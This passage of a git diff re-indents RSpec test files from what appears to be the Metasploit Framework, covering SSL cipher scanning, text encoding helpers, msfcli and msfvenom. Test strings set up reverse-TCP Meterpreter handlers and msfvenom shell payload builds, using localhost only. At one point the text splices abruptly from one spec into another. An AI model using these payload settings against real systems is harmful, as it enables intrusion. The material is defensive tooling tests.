include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the accepted cipher details" do + count = 0 + subject.each_accepted do |cipher_details| + count = count+1 + end + count.should == 3 + end + end + + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_accepted('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_accepted(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_accepted(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 3 + end + + it "should return only the ciphers for the specified version" do + subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end + end + end + end + + context "enumerating all rejected ciphers" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + end + + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_rejected do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the rejected cipher details" do + count = 0 + subject.each_rejected do |cipher_details| + count = count+1 + end + count.should == 3 + end + end + + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_rejected('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_rejected(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_rejected(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 3 + end + + it "should return only the ciphers for the specified version" do + subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end + end + end + end + + context "checking SSL support" do + context "for SSLv2" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv2?.should == false + end + it "should return true if there are accepted ciphers or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.supports_sslv2?.should == true + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + end + context "for SSLv3" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv3?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.supports_sslv3?.should == true + end + end + context "for TLSv1" do + it "should return false if there are no accepted ciphers" do + subject.supports_tlsv1?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_tlsv1?.should == true + end + end + context "for SSL at large" do + it "should return false if there are no accepted ciphers" do + subject.supports_ssl?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_ssl?.should == true + end + end + end + + context "checking for weak ciphers" do + context "when weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) + subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) + end + it "should return an array of weak ciphers from #weak_ciphers" do + weak = subject.weak_ciphers + weak.class.should == Array + weak.each do |cipher| + cipher[:weak].should == true + end + weak.count.should == 2 + end + + it "should return true from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == true + end + end + + context "when no weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + it "should return an empty array from #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return false from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == false + end + end + end + + context "checking for standards compliance" do + it "should return true if there is no SSL support" do + subject.standards_compliant?.should == true + end + + it "should return false if SSLv2 is supported or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.standards_compliant?.should == false + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should return false if weak ciphers are supported" do + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + subject.standards_compliant?.should == false + end + + it "should return true if SSLv2 and Weak Ciphers are disabled" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.standards_compliant?.should == true + end + end + + context "when printing the results" do + context "when OpenSSL is compiled without SSLv2" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.openssl_sslv2 = false + end + it "should warn the user" do + subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + end + end + + context "when we have SSL results" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + + cert = OpenSSL::X509::Certificate.new + key = OpenSSL::PKey::RSA.new 2048 + cert.version = 2 # + cert.serial = 1 + cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" + cert.issuer = cert.subject + cert.public_key = key.public_key + cert.not_before = Time.now + cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 + + subject.cert = cert + end + + it "should contain the certificate" do + subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" + subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" + end + + it "should have a table with our SSL Cipher Results" do + subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" + subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" + subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" + subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" + end + end + + it "should return an appropriate message when SSL is not supported" do + subject.stub(:supports_ssl?).and_return(false) + subject.to_s.should == "Server does not appear to support SSL on this port!" + end + + + end end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 93e760fe8a3b..372cf21e03ef 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -6,102 +6,102 @@ describe Rex::SSLScan::Scanner do - subject{Rex::SSLScan::Scanner.new("google.com", 443)} - - it { should respond_to :host } - it { should respond_to :port } - it { should respond_to :timeout } - it { should respond_to :valid? } - - context "when validating the scanner config" do - it "should return true when given a valid config" do - subject.valid?.should == true - end - - it "should return false if given an invalid host" do - subject.host = nil - subject.valid?.should == false - end - - it "should return false if given an invalid port" do - subject.port = nil - subject.valid?.should == false - end - - it "should return false if given an invalid timeout" do - subject.timeout = nil - subject.valid?.should == false - end - end - - context "when testing a single cipher" do - context "an exception should be raised if" do - it "has an invalid scanner configuration" do - subject.host =nil - expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error - end - - it "is given an invalid SSL version" do - expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error - end - - it "is given an invalid cipher" do - expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error - end - - it "is given an invalid cipher for the SSL Version" do - expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error - end - end - - context ":rejected should be returned if" do - it "scans a server that doesn't support the supplied SSL version" do - subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected - end - - it "scans a server that doesn't support the cipher" do - subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected - end - end - - context ":accepted should be returned if" do - it "scans a server that accepts the given cipher" do - subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted - end - end - end - - context "when retrieving the cert" do - it "should return nil if it can't connect" do - subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil - end - - it "should return an X509 cert if it can connect" do - subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate - end - end - - context "when scanning https://google.com" do - it "should return a Result object" do - result = subject.scan - result.class.should == Rex::SSLScan::Result - end - - context "if SSLv2 is not available locally" do - before(:each) do - subject.stub(:check_opensslv2).and_return(false) - subject.send(:initialize, 'google.com', 443) - end - it "should mark SSLv2 as unsupported" do - subject.supported_versions.should_not include :SSLv2 - subject.sslv2.should == false - end - - it "should not test any SSLv2 ciphers" do - res = subject.scan - res.sslv2.should == [] - end - end - end + subject{Rex::SSLScan::Scanner.new("google.com", 443)} + + it { should respond_to :host } + it { should respond_to :port } + it { should respond_to :timeout } + it { should respond_to :valid? } + + context "when validating the scanner config" do + it "should return true when given a valid config" do + subject.valid?.should == true + end + + it "should return false if given an invalid host" do + subject.host = nil + subject.valid?.should == false + end + + it "should return false if given an invalid port" do + subject.port = nil + subject.valid?.should == false + end + + it "should return false if given an invalid timeout" do + subject.timeout = nil + subject.valid?.should == false + end + end + + context "when testing a single cipher" do + context "an exception should be raised if" do + it "has an invalid scanner configuration" do + subject.host =nil + expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error + end + + it "is given an invalid SSL version" do + expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error + end + + it "is given an invalid cipher" do + expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error + end + + it "is given an invalid cipher for the SSL Version" do + expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error + end + end + + context ":rejected should be returned if" do + it "scans a server that doesn't support the supplied SSL version" do + subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected + end + + it "scans a server that doesn't support the cipher" do + subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected + end + end + + context ":accepted should be returned if" do + it "scans a server that accepts the given cipher" do + subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted + end + end + end + + context "when retrieving the cert" do + it "should return nil if it can't connect" do + subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil + end + + it "should return an X509 cert if it can connect" do + subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate + end + end + + context "when scanning https://google.com" do + it "should return a Result object" do + result = subject.scan + result.class.should == Rex::SSLScan::Result + end + + context "if SSLv2 is not available locally" do + before(:each) do + subject.stub(:check_opensslv2).and_return(false) + subject.send(:initialize, 'google.com', 443) + end + it "should mark SSLv2 as unsupported" do + subject.supported_versions.should_not include :SSLv2 + subject.sslv2.should == false + end + + it "should not test any SSLv2 ciphers" do + res = subject.scan + res.sslv2.should == [] + end + end + end end diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 96882e8c3fe2..9c1eb8dfb7c7 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -1,76 +1,76 @@ require 'rex/text' describe Rex::Text do - context "Class methods" do + context "Class methods" do - context ".to_octal" do - it "should convert all chars 00 through ff" do - described_class.to_octal("\x7f"*100).should eq("\\177"*100) + context ".to_octal" do + it "should convert all chars 00 through ff" do + described_class.to_octal("\x7f"*100).should eq("\\177"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join - described_class.to_octal(all_chars).should eq(all_octal) - end - it "should use the given prefix" do - described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join + described_class.to_octal(all_chars).should eq(all_octal) + end + it "should use the given prefix" do + described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "test%o"%(c) }.join - described_class.to_octal(all_chars, "test").should eq(all_octal) - end - end + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_octal = (0..0xff).map {|c| "test%o"%(c) }.join + described_class.to_octal(all_chars, "test").should eq(all_octal) + end + end - context ".to_hex" do - it "should convert all chars 00 through ff" do - described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) + context ".to_hex" do + it "should convert all chars 00 through ff" do + described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex(all_chars).should eq(all_hex) - end - it "should use the given prefix" do - described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join + described_class.to_hex(all_chars).should eq(all_hex) + end + it "should use the given prefix" do + described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join - described_class.to_hex(all_chars, "test").should eq(all_hex) - end - end + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join + described_class.to_hex(all_chars, "test").should eq(all_hex) + end + end - context ".to_hex_ascii" do - it "should handle non-printables" do - non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join - non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex_ascii(non_print).should eq(non_print_hex) + context ".to_hex_ascii" do + it "should handle non-printables" do + non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join + non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join + described_class.to_hex_ascii(non_print).should eq(non_print_hex) - described_class.to_hex_ascii("\x00").should eq("\\x00") - described_class.to_hex_ascii("\x1f").should eq("\\x1f") - described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) - end - it "should not mess with printables" do - described_class.to_hex_ascii("A").should eq("A") - described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") - end - end + described_class.to_hex_ascii("\x00").should eq("\\x00") + described_class.to_hex_ascii("\x1f").should eq("\\x1f") + described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) + end + it "should not mess with printables" do + described_class.to_hex_ascii("A").should eq("A") + described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") + end + end - context ".gzip" do - it "should return a properly formatted gzip file" do - str = described_class.gzip("hi mom") - str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic - # bytes 4 through 9 are a time stamp - str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") - end - end + context ".gzip" do + it "should return a properly formatted gzip file" do + str = described_class.gzip("hi mom") + str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic + # bytes 4 through 9 are a time stamp + str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") + end + end - context ".ungzip" do - it "should return an uncompressed string" do - gzip = "\x1f\x8b\x08\x00" - gzip << "\x00" * 6 - gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" - described_class.ungzip(gzip).should eq("hi mom") - end - end + context ".ungzip" do + it "should return an uncompressed string" do + gzip = "\x1f\x8b\x08\x00" + gzip << "\x00" * 6 + gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" + described_class.ungzip(gzip).should eq("hi mom") + end + end - end + end end diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index bc89d9df21b8..4cc5a988eccb 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -10,378 +10,378 @@ describe Msfcli do - # Get stdout: - # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - - context "Class methods" do - context ".initialize" do - it "should give me the correct module name in key :module_name after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') - end - - it "should give me the correct mode in key :mode after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('E') - end - - it "should give me the correct module parameters after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) - end - - it "should give me an exploit name without the prefix 'exploit'" do - args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end - - it "should give me an exploit name without the prefix 'exploits'" do - args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end - - it "should set mode 's' (summary)" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp s" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('s') - end - - it "should set mode 'h' (help) as default" do - args = "multi/handler" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('h') - end - end - - context ".usage" do - it "should see a help menu" do - out = get_stdout { - cli = Msfcli.new([]) - cli.usage - } - out.should =~ /Usage/ - end - end - - # - # This one is slow because we're loading all modules - # - context ".dump_module_list" do - it "it should dump a list of modules" do - tbl = '' - stdout = get_stdout { - cli = Msfcli.new([]) - tbl = cli.dump_module_list - } - tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ - end - end - - context ".guess_payload_name" do - cli = Msfcli.new([]) - - it "should contain matches nedded for windows/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') - m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for windows/shell/reverse_tcp" do - m = cli.guess_payload_name('windows/shell/reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for windows/shell_reverse_tcp" do - m = cli.guess_payload_name('windows/shell_reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for php/meterpreter_reverse_tcp" do - m = cli.guess_payload_name('php/meterpreter_reverse_tcp') - m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') - m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for java/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('java/meterpreter/reverse_tcp') - m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for cmd/unix/reverse" do - m = cli.guess_payload_name('cmd/unix/reverse') - m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) - end - - it "should contain matches needed for bsd/x86/shell_reverse_tcp" do - m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') - m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) - end - end - - context ".guess_encoder_name" do - cli = Msfcli.new([]) - it "should contain a match for x86/shikata_ga_nai" do - encoder = 'x86/shikata_ga_nai' - m = cli.guess_encoder_name(encoder) - m.should eq([/encoders\/#{encoder}/]) - end - end - - context ".guess_nop_name" do - cli = Msfcli.new([]) - it "should contain a match for guess_nop_name" do - nop = 'x86/single_byte' - m = cli.guess_nop_name(nop) - m.should eq([/nops\/#{nop}/]) - end - end - - context ".generate_whitelist" do - it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do - args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/linux\/x86\/shell/, - /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, - /encoders\/x86\/fnstenv_mov/, - /post\/.+/, - /encoders\/generic\/*/, - /nops\/.+/ - ].map { |e| e.to_s } - - list.should eq(answer) - end - - it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do - args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /post\/.+/, - /encoders\/generic\/*/, - /encoders\/.+/, - /nops\/.+/ - ].map { |e| e.to_s } - - list.should eq(answer) - end - - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/''/, - /post\/''/, - /nops\/''/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } - - list.should eq(answer) - end - - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } - - list.should eq(answer) - end - end - - context ".init_modules" do - it "should have multi/handler module initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:module].class.to_s.should =~ /^Msf::Modules::/ - end - - it "should have my payload windows/meterpreter/reverse_tcp initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:payload].class.to_s.should =~ / [ - ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP - ], - 'ConfigDirectory' => conf_dir.to_s, - 'DisableDatabase' => true - } - @framework = ::Msf::Simple::Framework.create(create_opts) - end - - let(:framework) { @framework } - describe "#dump_encoders" do - it_behaves_like "encoder dumper" do - let(:dump) { venom.dump_encoders } - end - end - - describe "#dump_nops" do - it_behaves_like "nop dumper" do - let(:dump) { venom.dump_nops } - end - end - - describe "#dump_payloads" do - it_behaves_like "payload dumper" do - let(:dump) { venom.dump_payloads } - end - end - - describe "#parse_args" do - - context "help" do - it "should raise UsageError" do - expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError) - expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError) - expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError) - end - end - - context "with bad arguments" do - - it "should raise UsageError with empty arguments" do - expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError) - end - - it "should raise with unexpected options" do - expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) - end - - %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| - it "should raise UsageError with no arg for option #{required_arg}" do - expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) - end - end - - end - - end - - describe "#generate_raw_payload" do - - before do - venom.parse_args(args) - end - - context "with --options" do - - context "and a payload" do - let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } - it "should print options" do - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should include("LPORT") - end - context "and some datastore options" do - it "should print options" do - venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234! - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should match(/LPORT\s+1234/) - end - - it "should print options case-insensitively" do - venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234! - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should match(/LPORT\s+1234/) - end - end - end - - context "and an invalid payload" do - let(:args) { %w! -o -p asdf! } - it "should raise" do - expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) - end - end - - end - - [ - { :format => "elf", :arch => "x86" }, - { :format => "raw", :arch => "x86" }, - { :format => "elf", :arch => "armle" }, - { :format => "raw", :arch => "armle" }, - { :format => "elf", :arch => "ppc" }, - { :format => "raw", :arch => "ppc" }, - { :format => "elf", :arch => "mipsle" }, - { :format => "raw", :arch => "mipsle" }, - ].each do |format_hash| - format = format_hash[:format] - arch = format_hash[:arch] - - context "building #{format} with linux/#{arch}/shell_bind_tcp" do - let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! } - # We're not encoding, so should be testable here - it "should contain /bin/sh" do - output = venom.generate_raw_payload - # Usually push'd in two instructions, so the whole string - # isn't all together. Check for the two pieces seperately - output.should include("/sh") - output.should include("/bin") - end - end - - end - - end - - describe "#generate" do - include_context 'Msf::Util::Exe' - - before { venom.parse_args(args) } - - context "with --list" do - - context "with invalid module type" do - let(:args) { %w!--list asdf! } - it "should raise UsageError" do - expect { venom.generate }.to raise_error(MsfVenom::UsageError) - end - end - - [ "nop", "encoder", "payload" ].each do |type| - context "#{type}s" do - let(:args) { %W!--list #{type}s! } - it_behaves_like "#{type} dumper" do - let(:dump) do - venom.generate - stderr.string - end - end - end - end - - end - - context "with invalid datastore option" do - let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } - it "should fail validation" do - expect { venom.generate }.to raise_error(Msf::OptionValidateError) - end - end - - context "without required datastore option" do - # Requires LHOST - let(:args) { %w!-f exe -p windows/shell_reverse_tcp! } - it "should fail validation" do - expect { venom.generate }.to raise_error(Msf::OptionValidateError) - end - end - - @platform_format_map.each do |plat, formats| - formats.each do |format_hash| - format = format_hash[:format] - arch = format_hash[:arch] - # Need a new context for each so the let() will work correctly - context "with format=#{format} platform=#{plat} arch=#{arch}" do - # This will build executables with no payload. They won't work - # of course, but at least we can see that it is producing the - # correct file format for the given arch and platform. - let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! } - it "should print a #{format} to stdout" do - venom.generate - output = stdout.string - verify_bin_fingerprint(format_hash, output) - end - end - end - end - - end + let(:stdin) { StringIO.new("", "rb") } + let(:stdout) { StringIO.new("", "wb") } + let(:stderr) { StringIO.new("", "wb") } + subject(:venom) { described_class.new(stdin, stdout, stderr, framework) } + before(:each) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + end + after(:each) do + dummy_dir = Metasploit::Framework.root.join('spec', 'dummy') + dummy_dir.rmtree + end + + before(:all) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + create_opts = { + :module_types => [ + ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP + ], + 'ConfigDirectory' => conf_dir.to_s, + 'DisableDatabase' => true + } + @framework = ::Msf::Simple::Framework.create(create_opts) + end + + let(:framework) { @framework } + describe "#dump_encoders" do + it_behaves_like "encoder dumper" do + let(:dump) { venom.dump_encoders } + end + end + + describe "#dump_nops" do + it_behaves_like "nop dumper" do + let(:dump) { venom.dump_nops } + end + end + + describe "#dump_payloads" do + it_behaves_like "payload dumper" do + let(:dump) { venom.dump_payloads } + end + end + + describe "#parse_args" do + + context "help" do + it "should raise UsageError" do + expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help !) }.to 